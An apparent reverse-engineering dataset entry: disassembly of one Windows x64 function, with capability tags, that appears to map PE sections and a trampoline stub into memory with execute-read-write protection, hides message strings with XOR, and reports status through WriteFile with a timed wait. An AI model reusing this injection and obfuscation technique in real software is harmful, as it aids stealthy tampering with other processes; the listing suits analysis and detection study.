Function at 0x140004030
Capabilities:
Check for time delay via gettickcount
Encode data using xor
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2fe8]
mov eax, 0x30e8
call fcn.140008560
sub rsp, rax
mov qword [rbp - 0x80], 0xfffffffffffffffe
mov rax, qword [0x1400bc8f8]
xor rax, rsp
mov qword [rbp + 0x2fd0], rax
mov r13, r8
mov r12, rdx
mov rdi, rcx
movsxd r15, dword [rdx + 0x3c]
add r15, rdx
test r8, r8
jne 0x14000418c
mov byte [rbp + 0x1fc0], 0x4c
mov al, 9
mov cl, 0x3e
movzx edx, cl
mov r8b, 0x23
movzx r9d, cl
xor r10d, r10d
xor al, 0x4c
mov byte [rbp + 0x1fc1], al
xor cl, 0x4c
mov byte [rbp + 0x1fc2], cl
xor dl, 0x4c
mov byte [rbp + 0x1fc3], dl
xor r8b, 0x4c
mov byte [rbp + 0x1fc4], r8b
xor r9b, 0x4c
mov byte [rbp + 0x1fc5], r9b
mov byte [rbp + 0x1fc6], r10b
mov byte [rsp + 0x30], 0x4c
mov al, 5
mov cl, 0xd
mov dl, 0x6c
mov r8b, 0x22
mov r9b, 0x23
mov r10b, 0x38
movzx r11d, dl
mov bl, 0x2a
movzx edi, r9b
mov sil, 0x39
movzx r14d, r8b
mov r15b, 0x28
mov r12b, 0x6d
xor al, 0x4c
mov byte [rsp + 0x31], al
xor cl, 0x4c
mov byte [rsp + 0x32], cl
xor dl, 0x4c
mov byte [rsp + 0x33], dl
xor r8b, 0x4c
mov byte [rsp + 0x34], r8b
xor r9b, 0x4c
mov byte [rsp + 0x35], r9b
xor r10b, 0x4c
mov byte [rsp + 0x36], r10b
xor r11b, 0x4c
mov byte [rsp + 0x37], r11b
xor bl, 0x4c
mov byte [rsp + 0x38], bl
xor dil, 0x4c
mov byte [rsp + 0x39], dil
xor sil, 0x4c
mov byte [rsp + 0x3a], sil
xor r14b, 0x4c
mov byte [rsp + 0x3b], r14b
xor r15b, 0x4c
mov byte [rsp + 0x3c], r15b
xor r12b, 0x4c
mov byte [rsp + 0x3d], r12b
mov byte [rsp + 0x3e], r13b
lea r9d, [r13 + 0x10]
lea r8, [rbp + 0x1fc1]
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400047a7
mov rdx, r13
test r9, r9
cmovne rdx, r9
call fcn.140003d20
mov r14, rax
test rax, rax
je 0x14000450a
mov rcx, r13
call fcn.140001470
mov qword [rbp + 0x1fc0], rax
test rax, rax
je 0x1400047a7
lea rax, [fcn.140004ae0]
lea rcx, [0x1400048e0]
sub rax, rcx
mov qword [rsp + 0x70], rax
mov ecx, dword [r15 + 0x50]
lea rbx, [rax + 0x6b]
add rbx, rcx
mov qword [rsp + 0x78], rbx
add r14, 0x1000
add rcx, r14
mov qword [rbp + 0x1fb8], rcx
lea rax, [rcx + 0x6b]
mov qword [rsp + 0x68], rax
mov rdx, r14
lea rcx, [rbp + 0xf90]
call fcn.140001310
mov rdx, rax
mov r8d, 0x1000
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1fd0]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.140008190
mov rdi, rax
mov qword [rsp + 0x30], rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
call fcn.140003bb0
xor edi, edi
mov qword [rsp + 0x60], rdi
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rcx
mov rax, qword [sym.imp.KERNEL32.dll_Beep]
mov qword [rsp + 0x48], rax
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
mov esi, edi
cmp word [r15 + 6], di
je 0x1400042c9
add rbx, r15
mov r8d, dword [rbx - 4]
test r8d, r8d
je 0x1400042ba
mov edx, dword [rbx]
add rdx, r12
mov ecx, dword [rbx - 8]
add rcx, r14
call fcn.140003bb0
inc esi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x1400042a1
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [r12], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [r12 + 0x10], xmm1
mov qword [0x140024628], r13
mov rax, qword [rbp + 0x1fc0]
mov qword [0x140024632], rax
mov qword [0x140024649], r14
mov rbx, qword [rsp + 0x68]
mov qword [0x140024653], rbx
mov r8d, 0x1000
mov rdx, r12
mov rcx, r14
call fcn.140003bb0
mov rsi, qword [rsp + 0x70]
mov r8d, esi
lea rdx, [0x1400048e0]
mov rcx, rbx
call fcn.140003bb0
mov r8d, 0x6b
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov rcx, qword [rbp + 0x1fb8]
call fcn.140003bb0
mov ecx, 4
call fcn.14000814c
mov r9, rax
mov r8d, 0x40
mov rdx, qword [rsp + 0x78]
mov rcx, r14
call fcn.140003b10
mov ecx, 4
call fcn.14000814c
mov r9, rax
mov edx, 8
lea r8d, [rdx - 4]
mov rcx, r13
call fcn.140003b10
mov r8d, 8
lea rdx, [rbp + 0x1fb8]
mov rcx, r13
call fcn.140003bb0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov qword [rbp + 0x1fac], rdi
mov dword [rbp + 0x1fb4], edi
mov dword [rbp + 0x1f90], 0x64
mov ecx, dword [0x1400cb654]
mov dword [rbp + 0x1f94], ecx
mov qword [rbp + 0x1f98], r14
lea rax, [rsp + 0x48]
mov qword [rbp + 0x1fa0], rax
mov dword [rbp + 0x1fa8], 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fac], eax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1fc0]
mov r8d, 0x29
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1400cb690]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rsp + 0x60], rdi
jne 0x1400044bb
add ebx, 0x1b58
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
ja 0x1400044bb
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x1fac], rdi
mov dword [rbp + 0x1fb4], edi
mov dword [rbp + 0x1f90], 0x64
mov eax, dword [0x1400cb654]
mov dword [rbp + 0x1f94], eax
mov qword [rbp + 0x1f98], r14
lea rax, [rsp + 0x48]
mov qword [rbp + 0x1fa0], rax
mov dword [rbp + 0x1fa8], 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fac], eax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1fc0]
mov r8d, 0x29
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1400cb690]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rsp + 0x60], rdi
je 0x140004425
mov ecx, 4
call fcn.14000814c
mov r9, rax
mov edx, 8
lea r8d, [rdx - 6]
mov rcx, r13
call fcn.140003b10
mov r8d, 0x1000
lea rdx, [rbp + 0x1fd0]
mov rcx, r14
call fcn.140003bb0
lea r8d, [rsi + 0x6b]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rbp + 0x1fb8]
call fcn.140003bb0
mov al, 1
jmp 0x1400047a9
movdqa xmm0, xmmword [0x14000b420]
movdqu xmmword [rbp + 0x1fa0], xmm0
mov byte [rbp + 0x1f90], 0
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140004530
mov rdx, rdi
lea rcx, [rbp + 0x1f90]
call fcn.140005340
nop
movdqa xmm0, xmmword [0x14000b470]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x6c762829
xor eax, eax
mov byte [rsp + 0x44], al
xor edi, edi
mov ecx, edi
nop word [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x13
jb 0x140004570
mov byte [rsp + 0x44], dil
lea rax, [rsp + 0x31]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x140004590
mov r8, qword [rbp + 0x1fa0]
mov rcx, qword [rbp + 0x1fa8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x140004651
lea rax, [r8 + rbx]
mov qword [rbp + 0x1fa0], rax
lea rsi, [rbp + 0x1f90]
cmp rcx, 0x10
cmovae rsi, qword [rbp + 0x1f90]
lea rax, [rsp + 0x31]
add rax, rbx
cmp rax, rsi
jbe 0x14000460b
lea rax, [rsi + r8]
lea rcx, [rsp + 0x31]
cmp rcx, rax
ja 0x14000460b
lea rax, [rsp + 0x31]
cmp rsi, rax
ja 0x1400045fe
mov r14, rdi
jmp 0x14000460e
lea rax, [rsp + 0x31]
mov r14, rsi
sub r14, rax
jmp 0x14000460e
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rsp + 0x31]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rax, [r14 + rbx]
lea rdx, [rsp + 0x31]
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x1f90]
jmp 0x140004675
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x31]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp + 0x1f90]
call fcn.140002070
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov byte [rbp + 0x1fc0], 0x4c
mov al, 9
mov cl, 0x3e
movzx edx, cl
mov r8b, 0x23
movzx r9d, cl
xor al, 0x4c
mov byte [rbp + 0x1fc1], al
xor cl, 0x4c
mov byte [rbp + 0x1fc2], cl
xor dl, 0x4c
mov byte [rbp + 0x1fc3], dl
xor r8b, 0x4c
mov byte [rbp + 0x1fc4], r8b
xor r9b, 0x4c
mov byte [rbp + 0x1fc5], r9b
mov byte [rbp + 0x1fc6], dil
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r9d, 0x10
lea r8, [rbp + 0x1fc1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140004750
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000474b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000474b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008188
movdqa xmm0, xmmword [0x14000b420]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], dil
mov rdx, qword [rbp + 0x1fa8]
cmp rdx, 0x10
jb 0x1400047a7
inc rdx
mov rcx, qword [rbp + 0x1f90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008188
xor al, al
mov rcx, qword [rbp + 0x2fd0]
xor rcx, rsp
call fcn.1400085d0
add rsp, 0x30e8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret